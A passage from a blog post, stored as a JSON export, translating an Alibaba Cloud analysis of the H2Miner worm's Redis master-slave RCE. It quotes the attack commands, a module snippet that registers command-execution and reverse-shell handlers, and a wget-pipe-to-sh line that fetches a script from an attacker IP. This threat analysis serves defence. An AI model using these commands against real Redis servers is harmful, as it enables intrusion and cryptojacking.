{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"\u00c8 stata rilevata una nuova ondata di worm H2Miner che sfruttano Redis RCE","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Un giorno fa, uno dei server del mio progetto \u00e8 stato attaccato da un worm simile. Cercando una risposta alla domanda \"cosa \u00e8 successo?\" ho trovato un articolo interessante del team di Alibaba Cloud Security. Poich\u00e9 non ho trovato questo articolo su Habra, ho deciso di tradurlo appositamente per voi <3\n<\/p><\/blockquote>\n

Introduzione<\/h2>\n

\nRecentemente, il team di sicurezza di Alibaba Cloud ha scoperto un'improvvisa esplosione di H2Miner. Questo tipo di worm malevolo sfrutta l'assenza di autorizzazione o le password deboli per Redis come gateway ai vostri sistemi, quindi sincronizza il proprio modulo malevolo con uno slave tramite la sincronizzazione master-slave e, infine, carica questo modulo malevolo sulla macchina attaccata ed esegue istruzioni dannose.<\/p>\n

In passato, gli attacchi ai vostri sistemi venivano principalmente effettuati tramite un metodo che includeva task pianificati o chiavi SSH, che venivano registrate sulla vostra macchina dopo che l'attaccante accedeva a Redis. Fortunatamente, questo metodo non pu\u00f2 essere spesso utilizzato a causa di problemi di controllo dei permessi o di diverse versioni del sistema. Tuttavia, questo metodo di caricamento di un modulo dannoso pu\u00f2 eseguire direttamente comandi dell'attaccante o accedere a una shell, il che \u00e8 pericoloso per il vostro sistema.<\/p>\n

A causa del gran numero di server<\/a> Redis, ospitati su Internet (quasi 1 milione), il team di sicurezza di Alibaba Cloud, come promemoria amichevole, consiglia agli utenti di non fornire accesso a Redis dalla rete e di controllare regolarmente l'affidabilit\u00e0 delle proprie password, assicurandosi di non essere vulnerabili a attacchi di brute force.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner \u00e8 un botnet di mining per sistemi basati su Linux, che pu\u00f2 penetrare nel tuo sistema in vari modi, incluso l'accesso non autorizzato a Hadoop yarn, Docker e la vulnerabilit\u00e0 di esecuzione remota dei comandi Redis (RCE). Il botnet funziona caricando script dannosi e malware per estrarre i tuoi dati, espandere orizzontalmente l'attacco e mantenere il collegamento di comando e controllo (C&C).
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nLe informazioni su questo argomento sono state condivise da Pavel Toporkov durante ZeroNights 2018. Dopo la versione 4.0, Redis supporta la funzione di caricamento di moduli esterni, che consente agli utenti di caricare file .so compilati in C in Redis per eseguire specifici comandi Redis. Questa funzione, sebbene utile, presenta una vulnerabilit\u00e0 in cui, in modalit\u00e0 master-slave, i file possono essere sincronizzati con lo slave tramite la modalit\u00e0 fullresync. Un attaccante potrebbe sfruttare questa vulnerabilit\u00e0 per trasferire file .so dannosi. Dopo il trasferimento, i malintenzionati caricano il modulo sull'istanza Redis compromessa ed eseguono qualsiasi comando.<\/p>\n

Analisi del worm dannoso<\/h2>\n

\nDi recente, il team di sicurezza di Alibaba Cloud ha scoperto che la dimensione del gruppo di miner malevoli H2Miner \u00e8 aumentata drasticamente. Secondo l'analisi, il processo complessivo di attacco si presenta come segue:<\/p>\n

\"\u00c8
\n
\nH2Miner utilizza RCE Redis per un attacco completo. Inizialmente, gli aggressori attaccano i server Redis non protetti o i server con password deboli.<\/p>\n

Successivamente, usano il comando config set dbfilename red2.so<\/code> per cambiare il nome del file. Dopo di che, gli attaccanti eseguono il comando slaveof<\/code> per impostare l'indirizzo dell'host di replicazione master-slave. <\/p>\n

Quando l'istanza Redis attaccata stabilisce una connessione master-slave con il Redis malevolo, di propriet\u00e0 dell'aggressore, l'attaccante invia il modulo infetto utilizzando il comando fullresync per sincronizzare i file. Successivamente, il file red2.so verr\u00e0 caricato sulla macchina attaccata. Gli aggressori quindi utilizzano il modulo .\/red2.so per caricare questo file so. Il modulo pu\u00f2 eseguire comandi dell'aggressore o avviare una connessione inversa (backdoor) per ottenere accesso alla macchina attaccata.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nDopo l'esecuzione di un comando dannoso, come \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, l'attaccante azzerer\u00e0 il nome del file di backup e scaricher\u00e0 il modulo di sistema per cancellare le tracce. Tuttavia, il file red2.so rimarr\u00e0 ancora sulla macchina attaccata. Si consiglia agli utenti di prestare attenzione alla presenza di un file sospetto nella cartella della loro istanza Redis.<\/p>\n
Oltre a distruggere alcuni processi dannosi per rubare risorse, l'attaccante ha seguito uno schema malevolo, scaricando ed eseguendo file dannosi in formato binario per 142.44.191.122\/kinsing<\/a><\/noindex>. Ci\u00f2 significa che il nome del processo o il nome della cartella che contiene kinsing sull'host possono indicare che questa macchina \u00e8 stata infettata da questo virus.<\/p>\n
Secondo i risultati del reverse engineering, il malware svolge principalmente le seguenti funzioni:<\/p>\n